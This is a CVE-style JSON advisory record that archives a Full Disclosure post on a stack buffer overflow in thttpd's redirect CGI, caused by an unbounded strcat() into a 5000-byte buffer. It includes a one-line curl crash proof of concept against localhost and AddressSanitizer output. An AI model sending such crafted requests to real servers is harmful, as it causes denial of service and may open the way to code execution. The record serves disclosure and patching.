GCVE-1988-2026-0004

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "thttpd",
          "vendor": "Thttpd",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "*Description:*\nA stack-based buffer overflow vulnerability exists in the redirect CGI\nprogram distributed with thttpd. The vulnerability is caused by unsafe\nstring concatenation when constructing redirect URLs using\nattacker-controlled CGI environment variables. A remote, unauthenticated\nattacker can trigger the vulnerability via a crafted HTTP request,\nresulting in a crash of the CGI process and denial of service. In\nenvironments lacking modern exploit mitigations, this condition may be\nexploitable for arbitrary code execution.\n\nThe redirect CGI program processes HTTP requests by reading CGI environment\nvariables such as SCRIPT_NAME and PATH_INFO. When a wildcard redirect rule\n(*) is present in the .redirects file, the program appends user-controlled\npath data to a fixed-size stack buffer using strcat() without enforcing\nbounds checks. Specifically, when a redirect rule contains a wildcard\nmatch, the following logic is executed:\nstrcat(url, script_name + (star - file)); Both script_name and the appended\ndata originate from HTTP request paths controlled by the client. No\nvalidation is performed to ensure the combined string length fits within\nthe allocated stack buffer (char url[5000]), resulting in a stack-based\nbuffer overflow.\n\n*Affected Component:*\n\n   - Project: thttpd\n   - Component: cgi-src/redirect.c\n   - Program Type: CGI executable\n   - Affected Function: main()\n   - Vulnerable Operation: strcat() on fixed-size stack buffer\n   - Vulnerable Buffer: char url[5000]\n\n\n*Attack Vector*\n\n   - Remote\n   - Unauthenticated\n   - No user interaction required\n\n\n*Proof of Concept (Remote):*\n\n*Attacker:*\ncurl \"http://127.0.0.1:8080/cgi-bin/redirect$(printf '/A%.0s' {1..1000})\"\n----\ncurl: (52) Empty reply from server\nThis indicates the CGI process terminated unexpectedly during request\nhandling.\n\n*Server:*\nbusybox httpd -f -p 8080 -h /var/www\n\n*Output:*\n=================================================================\n==173922==ERROR: AddressSanitizer: stack-buffer-overflow on address\n0xfbff8c503cd8 at pc 0xffff8ee025f0 bp 0xffffe5394370 sp 0xffffe5393b50\nWRITE of size 70 at 0xfbff8c503cd8 thread T0\n    #0 0xffff8ee025ec in strcat\n../../../../src/libsanitizer/asan/asan_interceptors.cpp:520\n    #1 0xaaaae2ce2478 in main /root/thttpd/cgi-src/redirect.c:195\n    #2 0xffff8e4c2598 in __libc_start_call_main ../sysdeps/nptl\n/libc_start_call_main.h:58\n    #3 0xffff8e4c2678 in __libc_start_main_impl ../csu/libc-start.c:360\n    #4 0xaaaae2ce1cac in _start (/root/thttpd/cgi-src/redirect+0x1cac)\n(BuildId: dc697d7fab1c2439351593ff9fdb0104c36471ba)\n\nAddress 0xfbff8c503cd8 is located in stack of thread T0 at offset 15576 in\nframe\n    #0 0xaaaae2ce1e80 in main /root/thttpd/cgi-src/redirect.c:127\n\nRon Edgerson\nVulnerability Researcher & Exploit Developer\n\nCVE Research | Binary Exploitation | Application & Systems Security\nResponsible Disclosure • Proof-of-Concept Development\n\n🌐 https://github.com/ob1sec\n🔗 https://www.linkedin.com/in/ronedgerson1\n<https://linkedin.com/in/yourhandle>\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T08:16:48Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/16"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/16"
        },
        {
          "url": "http://127.0.0.1:8080/cgi-bin/redirect$"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/16"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "thttpd v2.26 Stack-Based Buffer Overflow in thttpd redirect CGI Program",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0004",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/16",
            "automated": true,
            "contentSha256": "6b6160b5b9a50ced05080c778c3f18cf8688b61192d106562150e665b5297179",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/16",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-30T23:49:03Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T06:42:13Z",
    "dateUpdated": "2026-09-11T08:16:48Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0004"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}